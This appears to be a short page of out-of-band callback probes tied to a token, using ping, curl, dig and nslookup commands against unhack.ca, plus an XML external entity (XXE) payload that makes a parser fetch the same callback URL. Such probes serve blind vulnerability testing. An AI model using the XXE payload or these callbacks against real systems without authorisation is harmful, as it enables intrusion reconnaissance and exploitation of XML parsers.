$ ping -c1 -p 00f6ca71aa3da0400287abb1c5acee00 unhack.ca
 

$ curl http://unhack.ca/p/f6ca71aa3da0400287abb1c5acee
 

$ dig f6ca71aa3da0400287abb1c5acee @unhack.ca
 

$ dig f6ca71aa3da0400287abb1c5acee.ns.unhack.ca
 

C:\> nslookup f6ca71aa3da0400287abb1c5acee unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f6ca71aa3da0400287abb1c5acee">]>
    <foo>&xxe;</foo>